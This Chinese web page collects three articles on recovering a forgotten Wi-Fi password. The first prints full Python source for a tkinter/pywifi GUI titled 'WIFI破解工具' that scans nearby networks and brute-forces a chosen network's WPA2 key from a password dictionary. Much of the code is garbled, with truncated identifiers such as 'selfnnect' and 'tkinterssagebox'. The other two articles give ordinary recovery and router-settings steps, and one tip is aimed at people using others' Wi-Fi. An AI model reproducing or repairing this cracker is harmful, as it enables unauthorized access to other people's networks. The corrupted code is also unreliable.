您当前的位置:首页 > 生肖 > 生肖马

wifi密码忘了(wifi密码忘了怎么办)

时间:2023-12-31 22:54:42 作者:孤独是毒 来源:互联网

本文目录一览:

wifi密码忘了怎么办,教你一个笨方法

#挑战30天在头条写日记# #python##生活##所见所得,都很科学##计算机#

这几天,在B站看到一个查找wifi密码的视频,大致是用python索引扫描实现的。虽然新奇,但是挺鸡肋的,你要用字典密码里的密码一个个尝试,而且每一个密码完成的还很慢,遇到一些奇葩的密码还查找不了。

源码:

需要pip安装tkinter / pywifi 包,pip最好下载到最新版,不然pywifi库可能安装不上。

最终结论:查找是可以查找的,但是就是很慢很慢。

源码:

from tkinter import *

from tkinter import ttk

import pywifi

from pywifi import const

import time

import tkinter.filedialog

import tkinterssagebox

class MY_GUI():

def __init__(self, init_window_name):

selfit_window_name = init_window_name

# 密码文件路径

self.get_value = StringVar()

# 获取破解wifi账号

self.get_wifi_value = StringVar()

# 获取wifi密码

self.get_wifimm_value = StringVar()

self.wifi = pywifi.PyWiFi() # 抓取网卡接口

self.iface = self.wifiterfaces()[0] # 抓取第一个无线网卡

self.iface.disconnect() # 测试链接断开所有链接

time.sleep(1) # 休眠1秒

# 测试网卡是否属于断开状态

assert self.iface.status() in \

[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

def __str__(self):

# 自动会调用的函数,返回自身的网卡

return '(WIFI:%s,%s)' % (self.wifi, self.iface())

# 设置窗口

def set_init_window(self):

selfit_window_name.title("WIFI破解工具")

selfit_window_name.geometry('+500+200')

labelframe = LabelFrame(width=400, height=200, text="配置") # 框架,以下对象都是对于labelframe中添加的

labelframe.grid(column=0, row=0, padx=10, pady=10)

self.search = Button(labelframe, text="搜索附近WiFi", command=selfans_wifi_list).grid(column=0, row=0)

self.pojie = Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)

selfbel = Label(labelframe, text="目录路径:").grid(column=0, row=1)

self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)

self.file = Button(labelframe, text="添加破解文件", command=self.add_mm_file).grid(column=2, row=1)

self.wifi_text = Label(labelframe, text="WiFi账号:").grid(column=0, row=2)

self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)

self.wifi_mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2)

self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,

sticky=W)

self.wifi_labelframe = LabelFrame(text="wifi列表")

self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)

# 定义树形结构与滚动条

self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))

self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)

self.wifi_treenfigure(yscrollcommand=self.vbar.set)

# 表格的标题

self.wifi_treelumn("a", width=45, anchor="center")

self.wifi_treelumn("b", width=110, anchor="w")

self.wifi_treelumn("c", width=120, anchor="w")

self.wifi_treelumn("d", width=60, anchor="center")

self.wifi_tree.heading("a", text="WiFiID")

self.wifi_tree.heading("b", text="SSID")

self.wifi_tree.heading("c", text="BSSID")

self.wifi_tree.heading("d", text="signal")

self.wifi_tree.grid(row=4, column=0, sticky=NSEW)

self.wifi_tree.bind("<Double-1>", self.onDBClick)

self.vbar.grid(row=4, column=1, sticky=NS)

# 搜索wifi

# cmd /k C:\Python27\python.exe "$(FULL_CURRENT_PATH)" & PAUSE & EXIT

def scans_wifi_list(self): # 扫描周围wifi列表

# 开始扫描

print("^_^ 开始扫描附近wifi...")

self.ifacean()

time.sleep(1.5)

# 在若干秒后获取扫描结果

scanres = self.ifacean_results()

# 统计附近被发现的热点数量

nums = len(scanres)

print("数量: %s" % (nums))

# print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal"))

# 实际数据

self_scans_wifi_list(scanres)

return scanres

# 显示wifi列表

def show_scans_wifi_list(self, scans_res):

for index, wifi_info in enumerate(scans_res):

# print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))

self.wifi_treesert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))

# print("| %s | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))

# 添加密码文件目录

def add_mm_file(self):

self.filename = tkinter.filedialog.askopenfilename()

self.get_value.set(self.filename)

# Treeview绑定事件

def onDBClick(self, event):

self.sels = event.widget.selection()

self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])

# print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])

# 读取密码字典,进行匹配

def readPassWord(self):

self.getFilePath = self.get_value.get()

self.get_wifissid = self.get_wifi_value.get()

pwdfilehander = open(self.getFilePath, "r", errors="ignore")

i = 0

while True:

try:

i = i + 1

selfdStr = pwdfilehander.readline()

if not selfdStr:

break

self.bool1 = selfnnect(selfdStr, self.get_wifissid)

if self.bool1:

self.res = "===正确=== wifi名:%s 匹配第%s密码:%s " % (self.get_wifissid, i, selfdStr)

self.get_wifimm_value.set(selfdStr)

tkinterssageboxinfo('提示', '破解成功!!!')

print(self.res)

break

else:

self.res = "!错误! wifi名:%s匹配第%s密码:%s" % (self.get_wifissid, i, selfdStr)

print(self.res)

# sleep(1)

except:

continue

# 对wifi和密码进行匹配

def connect(self, pwd_Str, wifi_ssid):

# 创建wifi链接文件

selffile = pywifi.Profile()

selffile.ssid = wifi_ssid # wifi名称

selffile.auth = const.AUTH_ALG_OPEN # 网卡的开放

selffile.akmend(const.AKM_TYPE_WPA2PSK) # wifi加密算法

selffile.cipher = const.CIPHER_TYPE_CCMP # 加密单元

selffile.key = pwd_Str # 密码

self.iface.remove_all_network_profiles() # 删除所有的wifi文件

selfp_profile = self.iface.add_network_profile(selffile) # 设定新的链接文件

self.ifacennect(selfp_profile) # 链接

time.sleep(3) # 3秒内能否连接上

if self.iface.status() == const.IFACE_CONNECTED: # 判断是否连接上

isOK = True

else:

isOK = False

self.iface.disconnect() # 断开

# time.sleep(1)

# 检查断开状态

assert self.iface.status() in \

[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

return isOK

def gui_start():

init_window = Tk()

ui = MY_GUI(init_window)

print(ui)

ui.set_init_window()

# uians_wifi_list()

init_window.mainloop()

gui_start()

WIFI密码忘了怎么办?3种方式教你找到wifi密码

有很多小伙伴在日常使用手机的过程当中,会出现忘记WiFi密码的问题,比如说手机更新、数据清除了,路由器上的WiFi密码条不见了,家里来了客人想要连接家里的WiFi,比如自己的手机取消保存了WiFi的密码,要重新接入的时候提示要输入密码,之后一头雾水。

今天知科技就来跟大家介绍三种可以快速显示手机WiFi密码的方法。

如果觉得本文有用,欢迎【关注】我,后期干货持续更新!更多【软件/网站/数码推荐】+【实用玩机技巧】,主页查看,精彩不停!

一、手机设置+微信

如果你的手机还接入在WiFi的账户当中,可以考虑使用这种解决方式。但不是每一种手机都可以,不过大部分国内的安卓手机都可以做到。

以安卓手机举例:

首先你需要有一部已连接当前WiFi的安卓手机,然后点开手机的设置——无线和网络。点击已连接的网络名称。

点开之后会有一个码出现,截图保存。或者叫好友用微信扫一下。

若是朋友不方便扫描,要查看密码也是通过微信扫描查看。

保存好截图后从微信选择右上角扫一扫,然后点击右上角“…”从相册选取,选择刚才的截图。

扫描后,会出现WiFi名称和密码,格式如下:

WPA;S:后面的就是WiFi名称,P:后面的就是WiFi密码了,不包括后面的两个“;”哦。

二、借助电脑

如果你的电脑是连接WiFi的,那么可以在电脑的右下角看到如下的WiFi标记,鼠标右击WiFi信号,打开网络共享中心。

之后会弹出电脑的控制面板,在控制面板当中点击右边WiFi的名字。

在WiFi状态的窗口当中,点击无线属性

在无线属性当中点击安全,然后点击显示字符就可以看到无线路由器的WiFi密码啦

三、借助App

如果没有电脑,或者是手机不支持以二维码的方式分享WiFi。那么可以通过这种方式,这种方式适合蹭网的朋友。

在搜索引擎或者App市场当中找到手机数据恢复精灵,安装并且运行。

点击WiFi密码查看,进入扫描状态,经过一定时间的扫描,App会显示出一共扫描出了多少登录过的WiFi账户。

点击确定关闭窗口,就可以看到扫描出来的WiFi密码跟账户啦

本次分享的实用干货就是这些了,对你有帮助的话请顺手给我【点个赞】吧,感谢!

还有,这么有用的我,干嘛不【关注】一下下呢~

点了【关注】就是自己人了,有问题请随时打扰我!

看到会第一时间回你。

Wi-Fi密码忘了怎么办?如何修改?小A来支招!

时间久了总会有人忘记Wi-Fi密码,换了手机就连不上 Wi-Fi,或者是家里来朋友问密码自己也不知道的情况。遇到问题不要慌,小A给大家做导航。接下来小A会分享如何查看密码,到手机、电脑找回 Wi-Fi密码的方法。

01、查询密码

有不少小伙伴会觉得更换Wi-Fi密码,家里人的手机电脑都需要重新输入密码很麻烦,自己查看下密码即可,方法来喽~

首先用电脑进入【设置】-【网络和Internet】

点击左侧的WLAN,再到右侧【相关设置】-【更改适配器选项】;

找到Wi-Fi(WLAN)名称点击右键,选择【状态】;

选择【无线属性】;

切换到【安全】选项卡,勾选“显示字符”就能看到Wi-Fi密码。

02、电脑修改Wi-Fi密码

遇到更换设备不得不修改密码的情况,我们先找到路由器背后的地址,将地址输入到浏览器当中。

在路由器的后台界面中,找到【无线设置】选项,点击进入。

在无线设置界面当中,找到【Wi-Fi设置】选项,点击进入。

Wi-Fi设置界面当中,找到密码一栏,删除旧密码,输入新的密码即可。

03、手机修改Wi-Fi密码

依旧是找到路由器背后的地址,将该地址输入到手机浏览器当中。

进入网址后我们可以看到Wi-Fi路由器的登陆界面,输入管理员密码,如果没有修改过,一般默认的都是admin。不知道的话,在路由器背面可以找到标识。

进入后,找到【无线设置】,在无线密码框中输入想要设置的密码即可。

04、注意事项

首先电脑修改Wi-Fi密码需要输入的管理员密码并非是Wi-Fi密码,而是路由器背后的信息。

其次用手机修改密码的话,需要修改哪一个Wi-Fi的密码,手机就必须要连着这个Wi-Fi信号,否则无法登陆。注意不要在浏览器当中的百度、360、UC等搜索平台输入网址,而是在浏览器最上方的网址位置输入。最后,建议大家的密码设置用:数字、符号、大小写组合的方式,且密码大于8位,这样不容易被破解。

各位小伙伴还可以找到路由器背面的reset按钮按住5秒即可恢复出厂设置,重新进行路由器的设置。以上内容就是有关忘记Wi-Fi密码的处理方式,小A建议大家在修改密码之后抄写下来粘在路由器上面,以防日后再忘啦!

热门推荐